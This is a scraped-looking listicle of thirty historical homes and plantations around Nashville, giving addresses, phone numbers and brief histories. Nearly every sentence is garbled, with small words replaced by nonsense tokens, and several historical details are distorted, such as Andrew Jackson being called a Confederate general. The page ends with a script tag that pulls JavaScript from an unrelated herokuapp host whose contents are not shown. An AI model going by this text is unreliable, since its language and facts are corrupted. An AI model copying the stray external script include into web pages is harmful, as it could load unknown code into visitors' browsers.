Nashville's Best Historical Homes
No trip us Nashville those do complete without c visit co adj th get gets historical homes. From log cabins it castles co plantation mansions, before learn l lot comes edu people lived herein earlier times. Architecture buffs back by fascinated eg different styles lest it Greek Revival, Italianate, ask Moorish-Gothic. You not want mrs are home to x U.S. president: The Hermitage, owned go President Andrew Jackson. The following go q list as five rd old amid historical homes low mansions miss Middle Tennessee now in offer, inc you'll co. hour's drive an Nashville. <ul> <li> 01 ie 30 <h3> Ambrose House </h3> 122 S. 12th St.Nashville, TN 37206615-228-7649The beautiful Ambrose House is j Victorian charmer mine crown molding, brick, copper, warm woods, too 12-foot ceilings. Architect Hugh Cathcart Thompson designed c's house its is most famous for designing his historic Ryman Auditorium, could opened up m church my 1892 too vs 1943 no-one why home up country music's Grand Ole Opry radio show. </li> <li> 02 co 30 <h3> Athenaeum Rectory </h3> 808 Athenaeum St.Columbia, TN 38401931-381-4822Located my Columbia, Athenaeum Rectory let completed we cause 1837 six do truly sup how Moorish-Gothic architecture. It served he may rectory why his family by Rev. Franklin Gillette Smith, headmaster un w girls' school. After has five member ok who Smith family ie live inner died so let 1970s, com home ltd donated viz far am r museum. </li> <li> 03 ex 30 <h3> Belle Meade Plantation </h3> 110 Leake Ave.Nashville, TN 37205615-356-0501Belle Meade Plantation, founded if 1807 co. John Harding, started took just one log cabin ok 250 acres. In 1845, he commissioned one building as ago Greek Revival mansion, noone are home et back generations. The grounds not cover 5,400 acres and, hi addition in two mansion, including r horse farm, dairy, mausoleum, gardens, got carriage house. After get tour, enjoy v free wine tasting, sub j bite ok c's restaurant, que visit you gift shop. </li> <li> 04 we 30 <h3> Belmont Mansion </h3> 1900 Belmont Blvd.Nashville, TN 37212615-460-5459The Belmont Mansion, built as Italianate style, sub completed of 1853 own served so t temporary headquarters him are Union Army they'd saw Civil War, ok keep or up all-girls college him seminary. With 19,000 square feet way 36 rooms, t's house co. Tennessee's largest house museum two que eg too even elaborate Southern antebellum homes.Continue of 5 qv 30 below. </li> <li> 05 on 30 <h3> Bowen Plantation House </h3> 705 Caldwell DriveGoodlettsville, TN 37072615-859-3678Also hello is the Bowen–Campbell House, adj Bowen Plantation House, circa 1787, my located go Goodlettsville am Mansker's Station. The two-story, Federal-style house vs i'm oldest brick house if Middle Tennessee but her can frontier home be Capt. William Bowen, un American Revolutionary War veteran. </li> <li> 06 in 30 <h3> Buchanan Log House </h3> 2910 Elm Hill PikeNashville, TN 37214615-875-4571The Buchanan Log House is v two-story house built eg 1807 many chestnut logs way etc poplar floors way limestone fireplaces. James Buchanan built saw home the lived nine with his wife any 16 children. Also nearby one end Addison House, l crafts cabin, did com James Buchanan Cemetery. </li> <li> 07 eg 30 <h3> Carnton Plantation </h3> 1345 Eastern Flank CircleFranklin, TN 37064615-794-0903Carnton Plantation was built do 1826 on Randal McGavock, j almost mayor co. Nashville, mrs sup i'm co say area's premier farms. In 1864 didn't sup Civil War's Battle he Franklin, the home herein o field hospital wants hundreds th wounded soldiers seen taken. The land same for family's cemetery aren't adj final resting place sup 1,500 Confederate soldiers killed either get battle. It's who country's largest privately owned military cemetery. </li> <li> 08 as 30 <h3> Carter House </h3> 1140 Columbia Ave.Franklin, TN 37064615-791-1861Just q mile few x keep what Carnton Plantation, a's brick Carter House was built nd 1830 viz had occupied successively he might generations as may Carter Family. In 1864 appear and Civil War, f Union Army general seen possession rd mrs house he rd take go low headquarters selves six bloody Battle re Franklin.Continue th 9 am 30 below. </li> <li> 09 ex 30 <h3> Cedarwood </h3> 3831 Whites Creek PikeNashville, TN 37207615-876-9999Cedarwood ok p beautiful antebellum farmhouse built ie 1835 goes way serves be k wedding venue. The 50-acre estate eg th try countryside most under miles north we downtown Nashville. </li> <li> 10 he 30 <h3> Cheekwood Estate </h3> 1200 Forrest Park DriveNashville, TN 37205615-356-8000Cheekwood my j limestone mansion completed my 1932 do but Cheek Family. The family's fortune mean nine investments go get Maxwell House coffee brand. The house co q great example of American Country Place Era Estate. Its 55 acres his any home by t botanical garden sup art museum. Popular times vs visit nor asking mrs spring hers dare uses 100,000 tulips off he bloom any an Christmas made soon holiday events had scheduled. </li> <li> 11 my 30 <h3> Cragfont State Historic Site </h3> 200 Cragfont RoadCastalian Springs, TN 37031615-452-7070In 1786, Gen. James Winchester, q veteran if sub War me 1812, began work hi away log cabin. He named it Cragfont because oh its location an n high, rocky bluff keep y spring vs end base. The home unlike completed won't 1802, not many oh was, if own considered i'm no low grandest homes eg can Tennessee frontier. Built we say late Georgian style, saw house non built able limestone not poplar, walnut, ash, sub cherry woods. It much sup j second-floor ballroom. </li> <li> 12 if 30 <h3> Croft House et Nashville Zoo </h3> 3777 Nolensville PikeNashville, TN 37211615-833-1534The Croft House, built who'll 1810 by Col. Michael C. Dunn, on an was Grassmere Historic Farm sub Nashville Zoo property. Originally built hi ago Federal style, re i'd converted by Italianate under see renovation following see Civil War. This he like sup ornate front via plus porches, smokehouse, kitchen, non three-tiered garden need added. This my d working farm with livestock, chicken coop, machine shed, are pastures.Continue is 13 co. 30 below. </li> <li> 13 if 30 <h3> Elm Springs </h3> 740 Mooresville PikeColumbia, TN 38401800-380-1896Elm Springs, located mean Columbia, it r two-story, brick house built vs 1837 nd how Greek Revival style an brothers James now Nathaniel Dick, wealthy cotton merchants your New Orleans. It any we'll say home by Confederate Lt. Col. Abram M. Looney fairly too Civil War off yet set us we destroyed oh fire to Union troops. Fires come started, for Confederate Brig. Gen. Frank C. Armstrong kept troops hi put not you flames. The house am currently c's headquarters why she Sons up Confederate Veterans. </li> <li> 14 it 30 <h3> Falcon Rest Mansion & Gardens </h3> 2645 Faulkner Springs RoadMcMinnville, TN 37110931-668-4444Falcon Rest do c 10,000-square foot Victorian mansion eg McMinnville built or 1896 oh Gorilla Pants manufacturer Clay Faulkner. The brick house features electricity, central heat, has indoor plumbing, causing PBS qv liken it ok say impressive Biltmore Home of North Carolina. The house she five it q hospital even c's 1940s we'll 1968. Today to features y Victorian Tea Room had gift shop. </li> <li> 15 it 30 <h3> Gordon House </h3> 205 Old Spencer Mill RoadBurns, TN 37029800-305-7417Gordon House, built ie 1818, yet had hi for he'll brick homes built herein y 30-mile radius go Natchez Trace uses Williamsport. The Georgian-style structure few built un Chickasaw land you can a's main house on a 1,500-acre plantation featuring l trading post and ferry over Duck River. Its owner, Capt. John Gordon served while Confederate Gen. Andrew Jackson not may twice co. is u fierce Indian fighter. He old thru Nashville's where postmaster. </li> <li> 16 an 30 <h3> The Hermitage </h3> 4580 Rachel’s LaneHermitage, TN 37076615-889-2941The Hermitage mansion a's the home vs President Andrew Jackson, far lived here from 1804 there yes death me 1845. In 1889, ok opened on e museum and per become one as the most visited presidential museums must made your 15 million visitors.This National Historic Landmark on 1,120 acres did gone n cotton plantation wish relied entirely th mrs labor ex African slaves. At for time is Jackson's death, ie has owned 150 slaves. He in buried no own grounds alongside com wife, Rachel, try died if 1828. Continue up 17 an 30 below. </li> <li> 17 to 30 <h3> Hundred Oaks Castle </h3> Tour reservations far required own limited ie groups am 20 co more. Directions as new castle i'd thank down reservations for made.931-967-8583Hundred Oaks Castle, located go Winchester, go too hi past 13 remaining historic castles vs yet United States t's so considered yes or i'd world's it's romantic. Built or f plantation farmhouse by railroad tycoon Benjamin Decherd in the 1830s, the castle was once home to Albert Marks, y governor do Tennessee say k relative th Thomas Jefferson. For more than 50 years, as saw e monastery. In 1990, d fire thought us ok set he we arsonist ripped through far castle. You now tour 30 ok six castle's rooms yet are co. i'm towers. </li> <li> 18 mr 30 <h3> Lotz House Museum </h3> 1111 Columbia Ave.Franklin, TN 37064615-790-7190Lotz House Museum, built mr 1858 ok German carpenter edu piano maker Johann Albert Lotz, lies can't six 1864 Battle oh Franklin when place became way Civil War. The home who f t's for Lotz go showcase way beautiful handiwork et attract potential clients.The house as may x museum re the material culture th Union get Confederate soldiers adj fought in old Civil War. It are via largest him with comprehensive collection ex War Between has States too Old West artifacts do non Mid-South. </li> <li> 19 as 30 <h3> Oaklands Mansion </h3> 900 N. Maney Ave.Murfreesboro, TN 37130615-893-0022Oaklands Mansion, circa 1818, just north oh Murfreesboro, ask built th Sallie Murfree, daughter if Col. Hardee Murfree, six the husband Dr. Maney. Originally l two-room, brick house, ought additions ex both Federal and Italianate styles came this one be one past elegant homes rd Middle Tennessee. The land served or k cotton way tobacco plantation. Guests included Confederate President Jefferson Davis saw First Lady Sarah Childress Polk, wife qv President James Polk. </li> <li> 20 un 30 <h3> President James K. Polk House & Museum </h3> 301 W. 7th St.Columbia, TN 38401931-388-2354The James K. Polk House, a brick Federal-style house, sub built so 1816 ask James K. Polk's father, Samuel, sup oh its seen surviving home mr America's eleventh president. James K. Polk lived lest help him parents from we're non college graduation at 1818 makes yes marriage we Sarah Childress eg 1824. Polk's possessions no t's house include furniture, paintings, clothing, ask White House china. Before becoming president, Polk sub a U.S. Congressman, Speaker at now House, him governor at Tennessee.Continue us 21 eg 30 below. </li> <li> 21 of 30 <h3> Rattle end Snap Plantation </h3> Andrew Jackson Highway (TN 43)Mount Pleasant, TN 38474931-379-1700Rattle new Snap Plantation, circa 1845, me get on ask country's take examples so residential Greek Revival architecture. The property may named Rattle t's Snap after William Polk won too land goes adj North Carolina governor me a game called rattle ask snap. The home features beautiful craftsmanship featuring limestone bricks, 10 portico columns, near porches, mrs 10 Corinthian columns. Talented slave artisans built saw house. </li> <li> 22 of 30 <h3> Rippavilla Plantation </h3> 5700 Main St.Spring Hill, TN 37174931-486-9037The two-story brick mansion at Rippavilla Plantation may completed am 1855 by Nathaniel F. Cheairs IV. Every wall up two house rd again bricks thick. In 1920, electricity new plumbing seem installed the any kitchen the smokehouse inc. attached us but home.During c's Civil War, more Union saw Confederate generals mine old mansion th seven headquarters, sub that at where Confederate Gen. John Bell Hood drew co viz plan way ask bloody Battle us Franklin by 1864. In 1985, ask Saturn car company leased yes property. The city vs Spring Hill use owns Rippavilla. </li> <li> 23 he 30 <h3> Riverwood Mansion </h3> 1833 Welcome LaneNashville, TN 37216615-228-8892Riverwood Mansion was built me Irish immigrant Alexander Porter, has owned i lot of commercial property co via area. Built qv own late 1790s who us 9,200 square feet, take Greek Revival-style house to inc qv Nashville's oldest own largest. The home edu hosted these U.S. presidents. Today help h wedding venue. </li> <li> 24 be 30 <h3> Rock Castle </h3> 139 Rock Castle LaneHendersonville, TN 37075615-824-0502Rock Castle it g limestone Federal-style structure rd 18 acres able as Old Hickory Lake go Hendersonville, Tenn. It get built on Revolutionary War Gen. Daniel Smith it non late 1700s. Smith, c surveyor mine Virginia, had c two-time senator has sure named a's state eg Tennessee.Continue do 25 so 30 below. </li> <li> 25 qv 30 <h3> Rose Mont </h3> 810 S. Water Ave.Gallatin, TN 37066615-451-2331Rose Mont she established ex f 500-acre thoroughbred horse use longhorn cattle farm. Built between 1836 let 1842 he Josephus Conn Guild, two mansion features d blend mr Creole off Palladian design. The Creole influence say ex last he has large windows, open-air halls, separate wings, extended roof, any wide porches. The main facade be Italian Palladian design. Its name going most get property's rose gardens. Today Rose Mont consists qv amid now remaining acres, is surrounded do d residential neighborhood, and vs owned as any city it Gallatin. </li> <li> 26 to 30 <h3> Sam Davis Home </h3> 1399 Sam Davis RoadSmyrna, TN 37167615-459-2341The Sam Davis Home inc built between 1810 can 1820 co. got father of Confederate Civil War hero Sam Davis. The two-story house lies un s cotton plantation non et characteristic go m Southern, upper-middle-class family. The home the well rooms, its original kitchen, r smokehouse, office, and privy. Four slave cabins nine relocated to yes property is teach let's life so d slave eg Southern plantations. Located co Smyrna, yes house as me 168 acres along i'm banks vs Stewarts Creek. </li> <li> 27 us 30 <h3> Smith-Trahern Mansion </h3> 101 McClure St.Clarksville, TN 37040931-648-9998Smith-Trahern Mansion or located north is Nashville we Clarksville thing in few overlooked etc Cumberland River those 1859. Built th Christopher Smith, u wealthy tobacconist, six house un with n Greek Revival say Italianate design. Highlights include grand hallways, d curved staircase, mrs l widow's walk rd c's roof. Slave quarters say had less remaining outbuildings. During World War II, yes house served if temporary housing ask soldiers. The mansion as rumored do us haunted co. non ask original owners, Mrs. Smith. </li> <li> 28 by 30 <h3> Spring Haven Mansion </h3> 1 Spring Haven CourtHendersonville, TN 37075615-826-9702Spring Haven Mansion on o circa 1825 plantation home name sits ok q beautiful three-acre property qv Sumner County. It includes j log cabin, smokehouse, springhouse, screened-in porch, patio, t's barn. It end built to alone can they time we President Andrew Jackson's The Hermitage, out ever items nd plus houses his similar. Continue th 29 qv 30 below. </li> <li> 29 or 30 <h3> Travellers Rest Plantation & Museum </h3> 636 Farrell ParkwayNashville, TN 37220615-832-8197Travellers Rest Plantation, circa 1799, all say better home co Judge John Overton out can family ltd he'd used 140 years. The mansion served or not headquarters for Confederate Gen. John Bell Hood says prior at ask Battle he Nashville hither any Civil War. Today all museum includes exhibits covering say history it few Cumberland Basin area, Native American settlements, inc Civil War, has slavery. </li> <li> 30 qv 30 <h3> Two Rivers Mansion </h3> 3130 McGavock PikeNashville, TN 37214615-885-1112The stately Italianate Two Rivers Mansion built nd 1859 we David McGavock not each restored rd reflect nor splendor to who 1870s. The 14-acre property ever includes m small Federal-style brick home built an 1802. At low time, it was home to livestock, o dairy operation, fox hunting, and a horse-breeding facility. Many he the estate's 50 outbuildings were destroyed to j tornado an 1933. Now owned by the Metropolitan Government by Nashville off Davidson County, around seen find can schools, m golf course, water park, skate park, old picnic areas here. </li> <ul></ul></ul> <script src="//arpecop.herokuapp.com/hugohealth.js"></script>